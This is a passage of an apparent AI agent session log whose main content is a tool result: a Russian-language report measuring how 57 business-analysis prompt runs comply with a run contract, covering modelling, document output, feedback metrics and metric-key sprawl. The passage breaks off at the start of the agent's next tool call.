\u043e\u0434\u043d\u043e\u0440\u043e\u0434\u043d\u043e\u0441\u0442\u044c: \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n([`standards/runs-contract-standard.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/standards/runs-contract-standard.md))\\n\u0441\u043e\u0431\u043b\u044e\u0434\u0451\u043d \u043d\u0430 100 % **\u043f\u043e \u0444\u043e\u0440\u043c\u0435** \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0435\u0441\u0442\u044c \u0443 \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432. \u0412\u0441\u0451\\n\u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435, \u0447\u0442\u043e \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e \u043d\u0438\u0436\u0435, \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u043e \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0445\u0443\u0436\u0435. \u042d\u0442\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f\\n`M4`: \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u2014 \u043d\u0435\u0442.\\n\\n## 3. \u0424\u0430\u043a\u0442\u044b \u043f\u043e\u0434 `M1` (\u044f\u0434\u0440\u043e \u0438 \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435)\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 | \u0427\u0442\u0435\u043d\u0438\u0435 |\\n| --- | --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c-\u043c\u0430\u0440\u043a\u0435\u0440\u043e\u043c \u044f\u0434\u0440\u0430 (`fr-`, `bcreq`, `glossary`, `context`) | 15 \u0438\u0437 57 | \u044f\u0434\u0440\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c-\u043c\u0430\u0440\u043a\u0435\u0440\u043e\u043c \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (`us-`, `uc-`, `modeling`) | 2 \u0438\u0437 57 (`RUN-0002`, `RUN-0003`) | \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f **\u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u043c** \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c |\\n\\n\u0412\u044b\u0432\u043e\u0434, \u0432\u0430\u0436\u043d\u044b\u0439 \u0434\u043b\u044f `M1`: \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u043e \u043e\u0442\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u043e\u043d\u043e \u0440\u0430\u0441\u0442\u0432\u043e\u0440\u0435\u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0424\u0422. \u042d\u0442\u043e\\n\u0441\u043e\u0433\u043b\u0430\u0441\u0443\u0435\u0442\u0441\u044f \u0441 \u0440\u043e\u043b\u044c\u044e US/UC \u043a\u0430\u043a \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0442\u0440\u0435\u0441\u0441-\u0442\u0435\u0441\u0442\u0430 (\u043f\u0440\u0430\u0432\u0438\u043b\u043e `F2` RFC), \u043d\u043e\\n\u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e **\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 `C-CORE` \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u043d\u0435\u0442**: \u043d\u0435\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u043f\u0440\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0439\\n\u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u00ab\u0432\u043e\u0442 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u044f\u0434\u0440\u043e, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0435\u0449\u0451 \u043d\u0435 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u044b\u00bb.\\n\\n\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435: \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0430 \u043a\u043b\u044e\u0447\u0435\u0432\u0430\u044f. \u041f\u0440\u043e\u0433\u043e\u043d, \u0441\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0432\u043d\u0443\u0442\u0440\u0438\\n\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c, \u0432 \u0441\u0447\u0451\u0442 \u043d\u0435 \u043f\u043e\u043f\u0430\u043b. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u2014\\n\u00ab\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043e \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u00bb, \u0430 \u043d\u0435 \u00ab\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u043d\u0435 \u0441\u0442\u0440\u043e\u044f\u0442\u0441\u044f\u00bb.\\n\\n## 4. \u0424\u0430\u043a\u0442\u044b \u043f\u043e\u0434 `M2` (\u0440\u0435\u043d\u0434\u0435\u0440 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432)\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 | \u0427\u0442\u0435\u043d\u0438\u0435 |\\n| --- | --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0432\u044b\u0434\u0430\u0432\u0448\u0438\u0445 \u2265 1 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | 57 \u0438\u0437 57 (100 %) | \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043b\u043e\u0435\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u0435\u0433\u0434\u0430 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0432\u044b\u0434\u0430\u0432\u0448\u0438\u0445 > 1 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | 23 \u0438\u0437 57 (40,4 %) | \u0432\u0435\u0435\u0440 \u0432\u044b\u0445\u043e\u0434\u043e\u0432 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u043d\u0435 \u0440\u0435\u0434\u043a\u043e\u0441\u0442\u044c, \u0430 \u043d\u043e\u0440\u043c\u0430 \u0434\u043b\u044f \u0442\u0440\u0435\u0442\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 |\\n| \u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0447\u0438\u0441\u043b\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 | 1 \u2192 34, 2 \u2192 11, 3 \u2192 11, 5 \u2192 1 | \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c \u043f\u044f\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 (`RUN-0057`) |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c \u0432\u0435\u0435\u0440\u043e\u043c \u043f\u043e \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f\u043c (`L0`\u2026`L4`) | 2 (`RUN-0056`, `RUN-0057`) | \u044f\u0432\u043d\u0430\u044f \u0430\u0434\u0440\u0435\u0441\u0430\u0446\u0438\u044f \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0439 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 |\\n\\n\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u0444\u0430\u043a\u0442 \u0434\u043b\u044f `M2`: **40 % \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0443\u0436\u0435 \u0434\u0435\u043b\u0430\u044e\u0442 \u0442\u043e, \u0447\u0442\u043e RFC \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\\n\u0440\u0435\u043d\u0434\u0435\u0440\u043e\u043c \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u044f\u0434\u0440\u0430**, \u043d\u043e \u0434\u0435\u043b\u0430\u044e\u0442 \u044d\u0442\u043e \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u044f\u0434\u0440\u0430. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b\\n\u043f\u043e\u0440\u043e\u0436\u0434\u0430\u044e\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0438\u0437 \u043e\u0431\u0449\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0434\u0438\u0430\u043b\u043e\u0433\u0430, \u0430 \u043d\u0435 \u0438\u0437 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e\\n`C-CORE`. \u041e\u0442\u0441\u044e\u0434\u0430 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 `K5` (\u043d\u0435\u0434\u0440\u0435\u0439\u0444 \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 `M1`/`M2`) \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0432\\n\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0442\u043e\u0447\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043d\u0435\u0447\u0435\u043c\u0443.\\n\\n\u0423\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0439 \u0432\u0435\u0435\u0440 `L0`\u2013`L4` \u0432 `RUN-0057`\\n([`outputs/`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0057/outputs))\\n\u2014 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0441\u043b\u0443\u0447\u0430\u0439, \u0433\u0434\u0435 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0441\u043e\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0434\u0430\u043d \u043f\u044f\u0442\u0438\\n\u0440\u0430\u0437\u043d\u044b\u043c \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u044f\u043c. \u042d\u0442\u043e \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043e\u0441\u0438 `A1` \u043a\u0430\u043a **\u043d\u0430\u0431\u043e\u0440\u0430** \u0446\u0435\u043b\u0435\u0432\u044b\u0445\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432.\\n\\n## 5. \u0424\u0430\u043a\u0442\u044b \u043f\u043e\u0434 `M3` (\u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430)\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 | \u0414\u043e\u043b\u044f |\\n| --- | --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c `feedback/` | 57 | 100 % |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043f\u043e\u043b\u0435\u043c `metrics.eval` | 40 | 70,2 % |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043f\u043e\u043b\u0435\u043c `metrics.verdict` | 15 | 26,3 % |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043f\u043e\u043b\u0435\u043c `metrics.success_rate` | 16 | 28,1 % |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c\u044e `metrics.measured` | 5 (`true` 3, `false` 2) | 8,8 % |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\u043e \u0441\u0432\u044f\u0437\u044c\u044e `related_runs` | 21 | 36,8 % |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 `hallucinations_shipped > 0` | 9 | 15,8 % |\\n\\n\u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 100 % \u043f\u0440\u043e\u0442\u0438\u0432 8,8 % \u2014 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 `M3`. \u0424\u043e\u0440\u043c\u0430 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438\\n\u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u0435\u0433\u0434\u0430; **\u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u043a\u043e\u0433\u0434\u0430**. \u041f\u0440\u0438\\n\u044d\u0442\u043e\u043c 9 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u0440\u0438\u0437\u043d\u0430\u044e\u0442, \u0447\u0442\u043e \u0432\u044b\u043c\u044b\u0441\u0435\u043b \u0434\u043e\u0448\u0451\u043b \u0434\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u043f\u0440\u043e\u0439\u0434\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0435\\n\u0440\u0435\u0432\u044c\u044e: `RUN-0016`, `RUN-0018`, `RUN-0021`, `RUN-0022`, `RUN-0024`, `RUN-0025`,\\n`RUN-0026`, `RUN-0027`, `RUN-0028`.\\n\\n\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435: \u043b\u044e\u0431\u0430\u044f \u043a\u0430\u043b\u0438\u0431\u0440\u043e\u0432\u043a\u0430 \u0433\u0435\u0439\u0442\u043e\u0432 \u043f\u043e \u044d\u0442\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u2014 \u0431\u0430\u0437\u0430\\n\u0434\u043b\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 (`RQ-3.4`) \u043d\u0435 \u043d\u0430\u0431\u0440\u0430\u043d\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u043e \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u0438\\n\u043d\u0435\u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c\u044b \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439.\\n\\n## 6. \u0424\u0430\u043a\u0442\u044b \u043f\u043e\u0434 `M4` (\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f)\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u0420\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u043b\u044e\u0447\u0435\u0439 \u0432 \u0431\u043b\u043e\u043a\u0435 `metrics` \u043f\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0443 | **71** |\\n| \u0421\u0430\u043c\u044b\u0439 \u0447\u0430\u0441\u0442\u044b\u0439 \u043a\u043b\u044e\u0447 | `episodes` \u2014 41 \u043f\u0440\u043e\u0433\u043e\u043d (71,9 %) |\\n| \u041a\u043b\u044e\u0447\u0435\u0439, \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0440\u043e\u0432\u043d\u043e \u0432 \u043e\u0434\u043d\u043e\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u0435 | 24 |\\n| \u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0447\u0451\u0442\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 `token_method` | \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d \u0432 41 \u043f\u0440\u043e\u0433\u043e\u043d\u0435, 24 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f `not-recorded` |\\n| \u0420\u0435\u0436\u0438\u043c\u044b \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0432 [`prompts/`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts) | `stepwise` 10, `oneshot` 9, `legacy` 5, \u043f\u0440\u043e\u0447\u0438\u0435 3 |\\n\\n**71 \u043a\u043b\u044e\u0447 \u043d\u0430 57 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u043a\u043b\u044e\u0447\u0430, \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0449\u0435\u0433\u043e\u0441\u044f \u0443 \u0432\u0441\u0435\u0445** \u2014 \u044d\u0442\u043e \u0438\\n\u0435\u0441\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0441\u0445\u0435\u043c\u044b \u0437\u0430\u043f\u0438\u0441\u0438 \u043e \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u0438 \u043d\u0435\\n\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u041c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043f\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0445\\n\u0437\u0430\u0434\u0430\u0447 (`RQ-4.3`), \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u044d\u0442\u043e\u0433\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c: \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c \u043d\u0435\u0447\u0435\u0433\u043e.\\n\\n\u041f\u0430\u0440\u0430 `stepwise`/`oneshot` \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 (10 \u043f\u0440\u043e\u0442\u0438\u0432 9) \u2014 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043e\u0441\u044c `A4` (\u0440\u0435\u0436\u0438\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f) \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0434\u043e\\n\u0432\u0441\u044f\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0443\u0436\u0435 \u0440\u0430\u0437\u0434\u0432\u043e\u0435\u043d\u0430 \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0443.\\n\\n## 7. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u043c\u0435\u0440\u0430\\n\\n1. \u041a\u043e\u0440\u043f\u0443\u0441 \u2014 **\u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 \u0438 \u043e\u0446\u0435\u043d\u043e\u0447\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440**. \u0417\u0430\u043c\u0435\u0440 issue #541 \u043f\u043e\u043a\u0430\u0437\u0430\u043b: \u043d\u0438\\n   \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u043e\u0435 \u0422\u0417. \u0412\u0441\u0435 \u0432\u044b\u0432\u043e\u0434\u044b \u043e `M2`/`M3` \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a\\n   \u043a\u043e\u043d\u0442\u0443\u0440\u0443 \u0434\u043e \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n2. \u0420\u0430\u0437\u043c\u0435\u0442\u043a\u0430 \u043a\u043b\u044e\u0447\u0435\u0432\u0430\u044f (\u0441\u043c. \u00a73), \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u043e\u0441\u044c.\\n3. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f `.md`-\u0444\u0430\u0439\u043b \u0432 `outputs/`, \u043a\u0440\u043e\u043c\u0435 `README`.\\n4. \u0417\u0430\u043c\u0435\u0440 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 **\u043e\u0434\u043d\u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e**. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0434\u043e\u043b\u044e 40 % \u0438\u043b\u0438 \u0447\u0438\u0441\u043b\u043e 71 \u043d\u0430\\n   \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e \u043d\u0435\u043b\u044c\u0437\u044f; \u0432 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u044d\u0442\u0438 \u0447\u0438\u0441\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\n   \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0435\u0451 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u043e\u0441\u0442\u044c.\",\n[2026-09-29T07:44:59.977Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:59.977Z] [INFO]       }\n[2026-09-29T07:44:59.977Z] [INFO]     ]\n[2026-09-29T07:44:59.977Z] [INFO]   },\n[2026-09-29T07:44:59.977Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:59.977Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:59.977Z] [INFO]   \"uuid\": \"e0b4527c-1faa-4171-a61a-73e4f50eccbe\",\n[2026-09-29T07:44:59.977Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:59.967Z\",\n[2026-09-29T07:44:59.977Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:59.977Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:59.977Z] [INFO] }\n[2026-09-29T07:45:00.707Z] [INFO] {\n[2026-09-29T07:45:00.707Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:00.707Z] [INFO]   \"message\": {\n[2026-09-29T07:45:00.707Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:00.707Z] [INFO]     \"id\": \"msg_011CfXMin382ALmQZfWtBcwu\",\n[2026-09-29T07:45:00.707Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:00.707Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:00.707Z] [INFO]     \"content\": [\n[2026-09-29T07:45:00.707Z] [INFO]       {\n[2026-09-29T07:45:00.707Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:00.707Z] [INFO]         \"id\": \"toolu_01J9PL7c78pXAfjfWrqEMcei\",\n[2026-09-29T07:45:00.707Z] 